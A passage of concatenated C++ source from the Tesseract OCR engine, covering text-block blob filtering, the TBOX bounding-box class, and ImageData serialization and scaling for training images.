pr_space = 0.0;
pr_nonsp = 0.0;
spacing = 0.0;
xheight = 0.0;
xheight_evidence = 0;
body_size = 0.0;
ascrise = 0.0;
descdrop = 0.0;
min_space = 0;
max_nonspace = 0;
space_threshold = 0;
kern_size = 0.0;
space_size = 0.0;
y_min = 0.0;
y_max = 0.0;
initial_y_min = 0.0;
m = 0.0;
c = 0.0;
error = 0.0;
para_c = 0.0;
para_error = 0.0;
y_origin = 0.0;
credibility = 0.0;
num_repeated_sets_ = -1;
}
/**********************************************************************
* vertical_cblob_projection
*
* Compute the vertical projection of a cblob from its outlines
* and add to the given STATS.
**********************************************************************/
void vertical_cblob_projection( //project outlines
C_BLOB *blob, //blob to project
STATS *stats //output
) {
//outlines of blob
C_OUTLINE_IT out_it = blob->out_list ();
for (out_it.mark_cycle_pt (); !out_it.cycled_list (); out_it.forward ()) {
vertical_coutline_projection (out_it.data (), stats);
}
}
/**********************************************************************
* vertical_coutline_projection
*
* Compute the vertical projection of a outline from its outlines
* and add to the given STATS.
**********************************************************************/
void vertical_coutline_projection( //project outlines
C_OUTLINE *outline, //outline to project
STATS *stats //output
) {
ICOORD pos; //current point
ICOORD step; //edge step
inT32 length; //of outline
inT16 stepindex; //current step
C_OUTLINE_IT out_it = outline->child ();
pos = outline->start_pos ();
length = outline->pathlength ();
for (stepindex = 0; stepindex < length; stepindex++) {
step = outline->step (stepindex);
if (step.x () > 0) {
stats->add (pos.x (), -pos.y ());
} else if (step.x () < 0) {
stats->add (pos.x () - 1, pos.y ());
}
pos += step;
}
for (out_it.mark_cycle_pt (); !out_it.cycled_list (); out_it.forward ()) {
vertical_coutline_projection (out_it.data (), stats);
}
}
/**********************************************************************
* TO_BLOCK::TO_BLOCK
*
* Constructor to make a TO_BLOCK from a real block.
**********************************************************************/
TO_BLOCK::TO_BLOCK( //make a block
BLOCK *src_block //real block
) {
clear();
block = src_block;
}
static void clear_blobnboxes(BLOBNBOX_LIST* boxes) {
BLOBNBOX_IT it = boxes;
// A BLOBNBOX generally doesn't own its blobs, so if they do, you
// have to delete them explicitly.
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
BLOBNBOX* box = it.data();
if (box->cblob() != NULL)
delete box->cblob();
}
}
/**********************************************************************
* TO_BLOCK::clear
*
* Zero out all scalar members.
**********************************************************************/
void TO_BLOCK::clear() {
block = NULL;
pitch_decision = PITCH_DUNNO;
line_spacing = 0.0;
line_size = 0.0;
max_blob_size = 0.0;
baseline_offset = 0.0;
xheight = 0.0;
fixed_pitch = 0.0;
kern_size = 0.0;
space_size = 0.0;
min_space = 0;
max_nonspace = 0;
fp_space = 0.0;
fp_nonsp = 0.0;
pr_space = 0.0;
pr_nonsp = 0.0;
key_row = NULL;
}
TO_BLOCK::~TO_BLOCK() {
// Any residual BLOBNBOXes at this stage own their blobs, so delete them.
clear_blobnboxes(&blobs);
clear_blobnboxes(&underlines);
clear_blobnboxes(&noise_blobs);
clear_blobnboxes(&small_blobs);
clear_blobnboxes(&large_blobs);
}
// Helper function to divide the input blobs over noise, small, medium
// and large lists. Blobs small in height and (small in width or large in width)
// go in the noise list. Dash (-) candidates go in the small list, and
// medium and large are by height.
// SIDE-EFFECT: reset all blobs to initial state by calling Init().
static void SizeFilterBlobs(int min_height, int max_height,
BLOBNBOX_LIST* src_list,
BLOBNBOX_LIST* noise_list,
BLOBNBOX_LIST* small_list,
BLOBNBOX_LIST* medium_list,
BLOBNBOX_LIST* large_list) {
BLOBNBOX_IT noise_it(noise_list);
BLOBNBOX_IT small_it(small_list);
BLOBNBOX_IT medium_it(medium_list);
BLOBNBOX_IT large_it(large_list);
for (BLOBNBOX_IT src_it(src_list); !src_it.empty(); src_it.forward()) {
BLOBNBOX* blob = src_it.extract();
blob->ReInit();
int width = blob->bounding_box().width();
int height = blob->bounding_box().height();
if (height < min_height &&
(width < min_height || width > max_height))
noise_it.add_after_then_move(blob);
else if (height > max_height)
large_it.add_after_then_move(blob);
else if (height < min_height)
small_it.add_after_then_move(blob);
else
medium_it.add_after_then_move(blob);
}
}
// Reorganize the blob lists with a different definition of small, medium
// and large, compared to the original definition.
// Height is still the primary filter key, but medium width blobs of small
// height become small, and very wide blobs of small height stay noise, along
// with small dot-shaped blobs.
void TO_BLOCK::ReSetAndReFilterBlobs() {
int min_height = IntCastRounded(kMinMediumSizeRatio * line_size);
int max_height = IntCastRounded(kMaxMediumSizeRatio * line_size);
BLOBNBOX_LIST noise_list;
BLOBNBOX_LIST small_list;
BLOBNBOX_LIST medium_list;
BLOBNBOX_LIST large_list;
SizeFilterBlobs(min_height, max_height, &blobs,
&noise_list, &small_list, &medium_list, &large_list);
SizeFilterBlobs(min_height, max_height, &large_blobs,
&noise_list, &small_list, &medium_list, &large_list);
SizeFilterBlobs(min_height, max_height, &small_blobs,
&noise_list, &small_list, &medium_list, &large_list);
SizeFilterBlobs(min_height, max_height, &noise_blobs,
&noise_list, &small_list, &medium_list, &large_list);
BLOBNBOX_IT blob_it(&blobs);
blob_it.add_list_after(&medium_list);
blob_it.set_to_list(&large_blobs);
blob_it.add_list_after(&large_list);
blob_it.set_to_list(&small_blobs);
blob_it.add_list_after(&small_list);
blob_it.set_to_list(&noise_blobs);
blob_it.add_list_after(&noise_list);
}
// Deletes noise blobs from all lists where not owned by a ColPartition.
void TO_BLOCK::DeleteUnownedNoise() {
BLOBNBOX::CleanNeighbours(&blobs);
BLOBNBOX::CleanNeighbours(&small_blobs);
BLOBNBOX::CleanNeighbours(&noise_blobs);
BLOBNBOX::CleanNeighbours(&large_blobs);
BLOBNBOX::DeleteNoiseBlobs(&blobs);
BLOBNBOX::DeleteNoiseBlobs(&small_blobs);
BLOBNBOX::DeleteNoiseBlobs(&noise_blobs);
BLOBNBOX::DeleteNoiseBlobs(&large_blobs);
}
// Computes and stores the edge offsets on each blob for use in feature
// extraction, using greyscale if the supplied grey and thresholds pixes
// are 8-bit or otherwise (if NULL or not 8 bit) the original binary
// edge step outlines.
// Thresholds must either be the same size as grey or an integer down-scale
// of grey.
// See coutln.h for an explanation of edge offsets.
void TO_BLOCK::ComputeEdgeOffsets(Pix* thresholds, Pix* grey) {
BLOBNBOX::ComputeEdgeOffsets(thresholds, grey, &blobs);
BLOBNBOX::ComputeEdgeOffsets(thresholds, grey, &small_blobs);
BLOBNBOX::ComputeEdgeOffsets(thresholds, grey, &noise_blobs);
}
#ifndef GRAPHICS_DISABLED
// Draw the noise blobs from all lists in red.
void TO_BLOCK::plot_noise_blobs(ScrollView* win) {
BLOBNBOX::PlotNoiseBlobs(&noise_blobs, ScrollView::RED, ScrollView::RED, win);
BLOBNBOX::PlotNoiseBlobs(&small_blobs, ScrollView::RED, ScrollView::RED, win);
BLOBNBOX::PlotNoiseBlobs(&large_blobs, ScrollView::RED, ScrollView::RED, win);
BLOBNBOX::PlotNoiseBlobs(&blobs, ScrollView::RED, ScrollView::RED, win);
}
// Draw the blobs on the various lists in the block in different colors.
void TO_BLOCK::plot_graded_blobs(ScrollView* win) {
BLOBNBOX::PlotBlobs(&noise_blobs, ScrollView::CORAL, ScrollView::BLUE, win);
BLOBNBOX::PlotBlobs(&small_blobs, ScrollView::GOLDENROD, ScrollView::YELLOW,
win);
BLOBNBOX::PlotBlobs(&large_blobs, ScrollView::DARK_GREEN, ScrollView::YELLOW,
win);
BLOBNBOX::PlotBlobs(&blobs, ScrollView::WHITE, ScrollView::BROWN, win);
}
/**********************************************************************
* plot_blob_list
*
* Draw a list of blobs.
**********************************************************************/
void plot_blob_list(ScrollView* win, // window to draw in
BLOBNBOX_LIST *list, // blob list
ScrollView::Color body_colour, // colour to draw
ScrollView::Color child_colour) { // colour of child
BLOBNBOX_IT it = list;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->plot(win, body_colour, child_colour);
}
}
#endif // GRAPHICS_DISABLED
| C++ |
///////////////////////////////////////////////////////////////////////
// File: params_training_featdef.cpp
// Description: Utility functions for params training features.
// Author: David Eger
// Created: Mon Jun 11 11:26:42 PDT 2012
//
// (C) Copyright 2012, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include <string.h>
#include "params_training_featdef.h"
namespace tesseract {
int ParamsTrainingFeatureByName(const char *name) {
if (name == NULL)
return -1;
int array_size = sizeof(kParamsTrainingFeatureTypeName) /
sizeof(kParamsTrainingFeatureTypeName[0]);
for (int i = 0; i < array_size; i++) {
if (kParamsTrainingFeatureTypeName[i] == NULL)
continue;
if (strcmp(name, kParamsTrainingFeatureTypeName[i]) == 0)
return i;
}
return -1;
}
} // namespace tesseract
| C++ |
/**********************************************************************
* File: rect.h (Formerly box.h)
* Description: Bounding box class definition.
* Author: Phil Cheatle
* Created: Wed Oct 16 15:18:45 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef RECT_H
#define RECT_H
#include <math.h>
#include "points.h"
#include "ndminx.h"
#include "scrollview.h"
#include "strngs.h"
#include "tprintf.h"
class DLLSYM TBOX { // bounding box
public:
TBOX (): // empty constructor making a null box
bot_left (MAX_INT16, MAX_INT16), top_right (-MAX_INT16, -MAX_INT16) {
}
TBOX( // constructor
const ICOORD pt1, // one corner
const ICOORD pt2); // the other corner
TBOX( // constructor
inT16 left, inT16 bottom, inT16 right, inT16 top);
TBOX( // box around FCOORD
const FCOORD pt);
bool null_box() const { // Is box null
return ((left () >= right ()) || (top () <= bottom ()));
}
bool operator==(const TBOX& other) const {
return bot_left == other.bot_left && top_right == other.top_right;
}
inT16 top() const { // coord of top
return top_right.y ();
}
void set_top(int y) {
top_right.set_y(y);
}
inT16 bottom() const { // coord of bottom
return bot_left.y ();
}
void set_bottom(int y) {
bot_left.set_y(y);
}
inT16 left() const { // coord of left
return bot_left.x ();
}
void set_left(int x) {
bot_left.set_x(x);
}
inT16 right() const { // coord of right
return top_right.x ();
}
void set_right(int x) {
top_right.set_x(x);
}
int x_middle() const {
return (bot_left.x() + top_right.x()) / 2;
}
int y_middle() const {
return (bot_left.y() + top_right.y()) / 2;
}
const ICOORD &botleft() const { // access function
return bot_left;
}
ICOORD botright() const { // ~ access function
return ICOORD (top_right.x (), bot_left.y ());
}
ICOORD topleft() const { // ~ access function
return ICOORD (bot_left.x (), top_right.y ());
}
const ICOORD &topright() const { // access function
return top_right;
}
inT16 height() const { // how high is it?
if (!null_box ())
return top_right.y () - bot_left.y ();
else
return 0;
}
inT16 width() const { // how high is it?
if (!null_box ())
return top_right.x () - bot_left.x ();
else
return 0;
}
inT32 area() const { // what is the area?
if (!null_box ())
return width () * height ();
else
return 0;
}
// Pads the box on either side by the supplied x,y pad amounts.
// NO checks for exceeding any bounds like 0 or an image size.
void pad(int xpad, int ypad) {
ICOORD pad(xpad, ypad);
bot_left -= pad;
top_right += pad;
}
void move_bottom_edge( // move one edge
const inT16 y) { // by +/- y
bot_left += ICOORD (0, y);
}
void move_left_edge( // move one edge
const inT16 x) { // by +/- x
bot_left += ICOORD (x, 0);
}
void move_right_edge( // move one edge
const inT16 x) { // by +/- x
top_right += ICOORD (x, 0);
}
void move_top_edge( // move one edge
const inT16 y) { // by +/- y
top_right += ICOORD (0, y);
}
void move( // move box
const ICOORD vec) { // by vector
bot_left += vec;
top_right += vec;
}
void move( // move box
const FCOORD vec) { // by float vector
bot_left.set_x ((inT16) floor (bot_left.x () + vec.x ()));
// round left
bot_left.set_y ((inT16) floor (bot_left.y () + vec.y ()));
// round down
top_right.set_x ((inT16) ceil (top_right.x () + vec.x ()));
// round right
top_right.set_y ((inT16) ceil (top_right.y () + vec.y ()));
// round up
}
void scale( // scale box
const float f) { // by multiplier
bot_left.set_x ((inT16) floor (bot_left.x () * f)); // round left
bot_left.set_y ((inT16) floor (bot_left.y () * f)); // round down
top_right.set_x ((inT16) ceil (top_right.x () * f)); // round right
top_right.set_y ((inT16) ceil (top_right.y () * f)); // round up
}
void scale( // scale box
const FCOORD vec) { // by float vector
bot_left.set_x ((inT16) floor (bot_left.x () * vec.x ()));
bot_left.set_y ((inT16) floor (bot_left.y () * vec.y ()));
top_right.set_x ((inT16) ceil (top_right.x () * vec.x ()));
top_right.set_y ((inT16) ceil (top_right.y () * vec.y ()));
}
// rotate doesn't enlarge the box - it just rotates the bottom-left
// and top-right corners. Use rotate_large if you want to guarantee
// that all content is contained within the rotated box.
void rotate(const FCOORD& vec) { // by vector
bot_left.rotate (vec);
top_right.rotate (vec);
*this = TBOX (bot_left, top_right);
}
// rotate_large constructs the containing bounding box of all 4
// corners after rotating them. It therefore guarantees that all
// original content is contained within, but also slightly enlarges the box.
void rotate_large(const FCOORD& vec);
bool contains( // is pt inside box
const FCOORD pt) const;
bool contains( // is box inside box
const TBOX &box) const;
bool overlap( // do boxes overlap
const TBOX &box) const;
bool major_overlap( // do boxes overlap more than half
const TBOX &box) const;
// Do boxes overlap on x axis.
bool x_overlap(const TBOX &box) const;
// Return the horizontal gap between the boxes. If the boxes
// overlap horizontally then the return value is negative, indicating
// the amount of the overlap.
int x_gap(const TBOX& box) const {
return MAX(bot_left.x(), box.bot_left.x()) -
MIN(top_right.x(), box.top_right.x());
}
// Return the vertical gap between the boxes. If the boxes
// overlap vertically then the return value is negative, indicating
// the amount of the overlap.
int y_gap(const TBOX& box) const {
return MAX(bot_left.y(), box.bot_left.y()) -
MIN(top_right.y(), box.top_right.y());
}
// Do boxes overlap on x axis by more than
// half of the width of the narrower box.
bool major_x_overlap(const TBOX &box) const;
// Do boxes overlap on y axis.
bool y_overlap(const TBOX &box) const;
// Do boxes overlap on y axis by more than
// half of the height of the shorter box.
bool major_y_overlap(const TBOX &box) const;
// fraction of current box's area covered by other
double overlap_fraction(const TBOX &box) const;
// fraction of the current box's projected area covered by the other's
double x_overlap_fraction(const TBOX& box) const;
// fraction of the current box's projected area covered by the other's
double y_overlap_fraction(const TBOX& box) const;
// Returns true if the boxes are almost equal on x axis.
bool x_almost_equal(const TBOX &box, int tolerance) const;
// Returns true if the boxes are almost equal
bool almost_equal(const TBOX &box, int tolerance) const;
TBOX intersection( // shared area box
const TBOX &box) const;
TBOX bounding_union( // box enclosing both
const TBOX &box) const;
// Sets the box boundaries to the given coordinates.
void set_to_given_coords(int x_min, int y_min, int x_max, int y_max) {
bot_left.set_x(x_min);
bot_left.set_y(y_min);
top_right.set_x(x_max);
top_right.set_y(y_max);
}
void print() const { // print
tprintf("Bounding box=(%d,%d)->(%d,%d)\n",
left(), bottom(), right(), top());
}
// Appends the bounding box as (%d,%d)->(%d,%d) to a STRING.
void print_to_str(STRING *str) const;
#ifndef GRAPHICS_DISABLED
void plot( // use current settings
ScrollView* fd) const { // where to paint
fd->Rectangle(bot_left.x (), bot_left.y (), top_right.x (),
top_right.y ());
}
void plot( // paint box
ScrollView* fd, // where to paint
ScrollView::Color fill_colour, // colour for inside
ScrollView::Color border_colour) const; // colour for border
#endif
// Writes to the given file. Returns false in case of error.
bool Serialize(FILE* fp) const;
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool DeSerialize(bool swap, FILE* fp);
friend TBOX& operator+=(TBOX&, const TBOX&);
// in place union
friend TBOX& operator&=(TBOX&, const TBOX&);
// in place intersection
private:
ICOORD bot_left; // bottom left corner
ICOORD top_right; // top right corner
};
/**********************************************************************
* TBOX::TBOX() Constructor from 1 FCOORD
*
**********************************************************************/
inline TBOX::TBOX( // construtor
const FCOORD pt // floating centre
) {
bot_left = ICOORD ((inT16) floor (pt.x ()), (inT16) floor (pt.y ()));
top_right = ICOORD ((inT16) ceil (pt.x ()), (inT16) ceil (pt.y ()));
}
/**********************************************************************
* TBOX::contains() Is point within box
*
**********************************************************************/
inline bool TBOX::contains(const FCOORD pt) const {
return ((pt.x () >= bot_left.x ()) &&
(pt.x () <= top_right.x ()) &&
(pt.y () >= bot_left.y ()) && (pt.y () <= top_right.y ()));
}
/**********************************************************************
* TBOX::contains() Is box within box
*
**********************************************************************/
inline bool TBOX::contains(const TBOX &box) const {
return (contains (box.bot_left) && contains (box.top_right));
}
/**********************************************************************
* TBOX::overlap() Do two boxes overlap?
*
**********************************************************************/
inline bool TBOX::overlap( // do boxes overlap
const TBOX &box) const {
return ((box.bot_left.x () <= top_right.x ()) &&
(box.top_right.x () >= bot_left.x ()) &&
(box.bot_left.y () <= top_right.y ()) &&
(box.top_right.y () >= bot_left.y ()));
}
/**********************************************************************
* TBOX::major_overlap() Do two boxes overlap by at least half of the smallest?
*
**********************************************************************/
inline bool TBOX::major_overlap( // Do boxes overlap more that half.
const TBOX &box) const {
int overlap = MIN(box.top_right.x(), top_right.x());
overlap -= MAX(box.bot_left.x(), bot_left.x());
overlap += overlap;
if (overlap < MIN(box.width(), width()))
return false;
overlap = MIN(box.top_right.y(), top_right.y());
overlap -= MAX(box.bot_left.y(), bot_left.y());
overlap += overlap;
if (overlap < MIN(box.height(), height()))
return false;
return true;
}
/**********************************************************************
* TBOX::overlap_fraction() Fraction of area covered by the other box
*
**********************************************************************/
inline double TBOX::overlap_fraction(const TBOX &box) const {
double fraction = 0.0;
if (this->area()) {
fraction = this->intersection(box).area() * 1.0 / this->area();
}
return fraction;
}
/**********************************************************************
* TBOX::x_overlap() Do two boxes overlap on x-axis
*
**********************************************************************/
inline bool TBOX::x_overlap(const TBOX &box) const {
return ((box.bot_left.x() <= top_right.x()) &&
(box.top_right.x() >= bot_left.x()));
}
/**********************************************************************
* TBOX::major_x_overlap() Do two boxes overlap by more than half the
* width of the narrower box on the x-axis
*
**********************************************************************/
inline bool TBOX::major_x_overlap(const TBOX &box) const {
inT16 overlap = box.width();
if (this->left() > box.left()) {
overlap -= this->left() - box.left();
}
if (this->right() < box.right()) {
overlap -= box.right() - this->right();
}
return (overlap >= box.width() / 2 || overlap >= this->width() / 2);
}
/**********************************************************************
* TBOX::y_overlap() Do two boxes overlap on y-axis
*
**********************************************************************/
inline bool TBOX::y_overlap(const TBOX &box) const {
return ((box.bot_left.y() <= top_right.y()) &&
(box.top_right.y() >= bot_left.y()));
}
/**********************************************************************
* TBOX::major_y_overlap() Do two boxes overlap by more than half the
* height of the shorter box on the y-axis
*
**********************************************************************/
inline bool TBOX::major_y_overlap(const TBOX &box) const {
inT16 overlap = box.height();
if (this->bottom() > box.bottom()) {
overlap -= this->bottom() - box.bottom();
}
if (this->top() < box.top()) {
overlap -= box.top() - this->top();
}
return (overlap >= box.height() / 2 || overlap >= this->height() / 2);
}
/**********************************************************************
* TBOX::x_overlap_fraction() Calculates the horizontal overlap of the
* given boxes as a fraction of this boxes
* width.
*
**********************************************************************/
inline double TBOX::x_overlap_fraction(const TBOX& other) const {
int low = MAX(left(), other.left());
int high = MIN(right(), other.right());
int width = right() - left();
if (width == 0) {
int x = left();
if (other.left() <= x && x <= other.right())
return 1.0;
else
return 0.0;
} else {
return MAX(0, static_cast<double>(high - low) / width);
}
}
/**********************************************************************
* TBOX::y_overlap_fraction() Calculates the vertical overlap of the
* given boxes as a fraction of this boxes
* height.
*
**********************************************************************/
inline double TBOX::y_overlap_fraction(const TBOX& other) const {
int low = MAX(bottom(), other.bottom());
int high = MIN(top(), other.top());
int height = top() - bottom();
if (height == 0) {
int y = bottom();
if (other.bottom() <= y && y <= other.top())
return 1.0;
else
return 0.0;
} else {
return MAX(0, static_cast<double>(high - low) / height);
}
}
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: imagedata.h
// Description: Class to hold information about a single multi-page tiff
// training file and its corresponding boxes or text file.
// Author: Ray Smith
// Created: Tue May 28 08:56:06 PST 2013
//
// (C) Copyright 2013, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
///////////////////////////////////////////////////////////////////////
#include "imagedata.h"
#include "allheaders.h"
#include "boxread.h"
#include "callcpp.h"
#include "helpers.h"
#include "tprintf.h"
namespace tesseract {
WordFeature::WordFeature() : x_(0), y_(0), dir_(0) {
}
WordFeature::WordFeature(const FCOORD& fcoord, uinT8 dir)
: x_(IntCastRounded(fcoord.x())),
y_(ClipToRange(IntCastRounded(fcoord.y()), 0, MAX_UINT8)),
dir_(dir) {
}
// Computes the maximum x and y value in the features.
void WordFeature::ComputeSize(const GenericVector<WordFeature>& features,
int* max_x, int* max_y) {
*max_x = 0;
*max_y = 0;
for (int f = 0; f < features.size(); ++f) {
if (features[f].x_ > *max_x) *max_x = features[f].x_;
if (features[f].y_ > *max_y) *max_y = features[f].y_;
}
}
// Draws the features in the given window.
void WordFeature::Draw(const GenericVector<WordFeature>& features,
ScrollView* window) {
for (int f = 0; f < features.size(); ++f) {
FCOORD pos(features[f].x_, features[f].y_);
FCOORD dir;
dir.from_direction(features[f].dir_);
dir *= 8.0f;
window->SetCursor(IntCastRounded(pos.x() - dir.x()),
IntCastRounded(pos.y() - dir.y()));
window->DrawTo(IntCastRounded(pos.x() + dir.x()),
IntCastRounded(pos.y() + dir.y()));
}
}
// Writes to the given file. Returns false in case of error.
bool WordFeature::Serialize(FILE* fp) const {
if (fwrite(&x_, sizeof(x_), 1, fp) != 1) return false;
if (fwrite(&y_, sizeof(y_), 1, fp) != 1) return false;
if (fwrite(&dir_, sizeof(dir_), 1, fp) != 1) return false;
return true;
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool WordFeature::DeSerialize(bool swap, FILE* fp) {
if (fread(&x_, sizeof(x_), 1, fp) != 1) return false;
if (swap) ReverseN(&x_, sizeof(x_));
if (fread(&y_, sizeof(y_), 1, fp) != 1) return false;
if (fread(&dir_, sizeof(dir_), 1, fp) != 1) return false;
return true;
}
void FloatWordFeature::FromWordFeatures(
const GenericVector<WordFeature>& word_features,
GenericVector<FloatWordFeature>* float_features) {
for (int i = 0; i < word_features.size(); ++i) {
FloatWordFeature f;
f.x = word_features[i].x();
f.y = word_features[i].y();
f.dir = word_features[i].dir();
f.x_bucket = 0; // Will set it later.
float_features->push_back(f);
}
}
// Sort function to sort first by x-bucket, then by y.
/* static */
int FloatWordFeature::SortByXBucket(const void* v1, const void* v2) {
const FloatWordFeature* f1 = reinterpret_cast<const FloatWordFeature*>(v1);
const FloatWordFeature* f2 = reinterpret_cast<const FloatWordFeature*>(v2);
int x_diff = f1->x_bucket - f2->x_bucket;
if (x_diff == 0) return f1->y - f2->y;
return x_diff;
}
ImageData::ImageData() : page_number_(-1), vertical_text_(false) {
}
// Takes ownership of the pix and destroys it.
ImageData::ImageData(bool vertical, Pix* pix)
: page_number_(0), vertical_text_(vertical) {
SetPix(pix);
}
ImageData::~ImageData() {
}
// Builds and returns an ImageData from the basic data. Note that imagedata,
// truth_text, and box_text are all the actual file data, NOT filenames.
ImageData* ImageData::Build(const char* name, int page_number, const char* lang,
const char* imagedata, int imagedatasize,
const char* truth_text, const char* box_text) {
ImageData* image_data = new ImageData();
image_data->imagefilename_ = name;
image_data->page_number_ = page_number;
image_data->language_ = lang;
// Save the imagedata.
image_data->image_data_.init_to_size(imagedatasize, 0);
memcpy(&image_data->image_data_[0], imagedata, imagedatasize);
if (!image_data->AddBoxes(box_text)) {
if (truth_text == NULL || truth_text[0] == '\0') {
tprintf("Error: No text corresponding to page %d from image %s!\n",
page_number, name);
delete image_data;
return NULL;
}
image_data->transcription_ = truth_text;
// If we have no boxes, the transcription is in the 0th box_texts_.
image_data->box_texts_.push_back(truth_text);
// We will create a box for the whole image on PreScale, to save unpacking
// the image now.
} else if (truth_text != NULL && truth_text[0] != '\0' &&
image_data->transcription_ != truth_text) {
// Save the truth text as it is present and disagrees with the box text.
image_data->transcription_ = truth_text;
}
return image_data;
}
// Writes to the given file. Returns false in case of error.
bool ImageData::Serialize(TFile* fp) const {
if (!imagefilename_.Serialize(fp)) return false;
if (fp->FWrite(&page_number_, sizeof(page_number_), 1) != 1) return false;
if (!image_data_.Serialize(fp)) return false;
if (!transcription_.Serialize(fp)) return false;
// WARNING: Will not work across different endian machines.
if (!boxes_.Serialize(fp)) return false;
if (!box_texts_.SerializeClasses(fp)) return false;
inT8 vertical = vertical_text_;
if (fp->FWrite(&vertical, sizeof(vertical), 1) != 1) return false;
return true;
}
// Reads from the given file. Returns false in case of error.
// If swap is true, assumes a big/little-endian swap is needed.
bool ImageData::DeSerialize(bool swap, TFile* fp) {
if (!imagefilename_.DeSerialize(swap, fp)) return false;
if (fp->FRead(&page_number_, sizeof(page_number_), 1) != 1) return false;
if (swap) ReverseN(&page_number_, sizeof(page_number_));
if (!image_data_.DeSerialize(swap, fp)) return false;
if (!transcription_.DeSerialize(swap, fp)) return false;
// WARNING: Will not work across different endian machines.
if (!boxes_.DeSerialize(swap, fp)) return false;
if (!box_texts_.DeSerializeClasses(swap, fp)) return false;
inT8 vertical = 0;
if (fp->FRead(&vertical, sizeof(vertical), 1) != 1) return false;
vertical_text_ = vertical != 0;
return true;
}
// Saves the given Pix as a PNG-encoded string and destroys it.
void ImageData::SetPix(Pix* pix) {
SetPixInternal(pix, &image_data_);
}
// Returns the Pix image for *this. Must be pixDestroyed after use.
Pix* ImageData::GetPix() const {
return GetPixInternal(image_data_);
}
// Gets anything and everything with a non-NULL pointer, prescaled to a
// given target_height (if 0, then the original image height), and aligned.
// Also returns (if not NULL) the width and height of the scaled image.
// The return value is the scale factor that was applied to the image to
// achieve the target_height.
float ImageData::PreScale(int target_height, Pix** pix,
int* scaled_width, int* scaled_height,
GenericVector<TBOX>* boxes) const {
int input_width = 0;
int input_height = 0;
Pix* src_pix = GetPix();
ASSERT_HOST(src_pix != NULL);
input_width = pixGetWidth(src_pix);
input_height = pixGetHeight(src_pix);
if (target_height == 0)
target_height = input_height;
float im_factor = static_cast<float>(target_height) / input_height;
if (scaled_width != NULL)
*scaled_width = IntCastRounded(im_factor * input_width);
if (scaled_height != NULL)
*scaled_height = target_height;
if (pix != NULL) {
// Get the scaled image.
pixDestroy(pix);
*pix = pixScale(src_pix, im_factor, im_factor);
if (*pix == NULL) {
tprintf("Scaling pix of size %d, %d by factor %g made null pix!!\n",
input_width, input_height, im_factor);
}
if (scaled_width != NULL)
*scaled_width = pixGetWidth(*pix);
if (scaled_height != NULL)
*scaled_height = pixGetHeight(*pix);
}
pixDestroy(&src_pix);
if (boxes != NULL) {
// Get the boxes.
boxes->truncate(0);
for (int b = 0; b < boxes_.size(); ++b) {
TBOX box = boxes_[b];
box.scale(im_factor);
boxes->push_back(box);
}
if (boxes->empty()) {
// Make a single box for the whole image.
TBOX box(0, 0, im_factor * input_width, target_height);
boxes->push_back(box);
}
}
return im_factor;
}
int ImageData::MemoryUsed() const {
return image_data_.size();
}
// Draws the data in a new window.
void ImageData::Display() const {
const int kTextSize = 64;
// Draw the image.
Pix* pix = GetPix();
if (pix == NULL) return;
int width = pixGetWidth(pix);
int height = pixGetHeight(pix);
ScrollView* win = new ScrollView("Imagedata", 100, 100,
2 * (width + 2 * kTextSize),
2 * (height + 4 * kTextSize),
width + 10, height + 3 * kTextSize, true);
win->Image(pix, 0, height - 1);
pixDestroy(&pix);
// Draw the boxes.
win->Pen(ScrollView::RED);
win->Brush(ScrollView::NONE);
win->TextAttributes("Arial", kTextSize, false, false, false);
for (int b = 0; b < boxes_.size(); ++b) {
boxes_[b].plot(win);
win->Text(boxes_[b].left(), height + kTextSize, box_texts_[b].string());
TBOX scaled(boxes_[b]);
scaled.scale(256.0 / height);
scaled.plot(win);
}
// The full transcription.
win->Pen(ScrollView::CYAN);
win->Text(0, height + kTextSize * 2, transcription_.string());
// Add the features.
win->Pen(ScrollView::GREEN);
win->Update();
window_wait(win);
}
// Adds the supplied boxes and transcriptions that correspond to the correct
// page number.
void ImageData::AddBoxes(const GenericVector<TBOX>& boxes,
const GenericVector<STRING>& texts,
const GenericVector<int>& box_pages) {
// Copy the boxes and make the transcription.
for (int i = 0; i < box_pages.size(); ++i) {
if (page_number_ >= 0 && box_pages[i] != page_number_) continue;
transcription_ += texts[i];
boxes_.push_back(boxes[i]);
box_texts_.push_back(texts[i]);
}
}
// Saves the given Pix as a PNG-encoded string and destroys it.
void ImageData::SetPixInternal(Pix* pix, GenericVector<char>* image_data) {
l_uint8* data;
size_t size;
pixWriteMem(&data, &size, pix, IFF_PNG);
pixDestroy(&pix);
image_data->init_to_size(size, 0);
memcpy(&(*image_data)[0], data, size);
free(data);
}
// Returns the Pix image for the image_data. Must be pixDestroyed after use.
Pix* ImageData::GetPixInternal(const GenericVector<char>& image_data) {
Pix* pix = NULL;
if (!image_data.empty()) {
// Convert the array to an image.
const unsigned char* u_data =
reinterpret_cast<const unsigned char*>(&image_data[0]);
pix = pixReadMem(u_data, image_data.size());
}
return pix;
}
// Parses the text string as a box file and adds any discovered boxes that
// match the page number. Returns false on error.
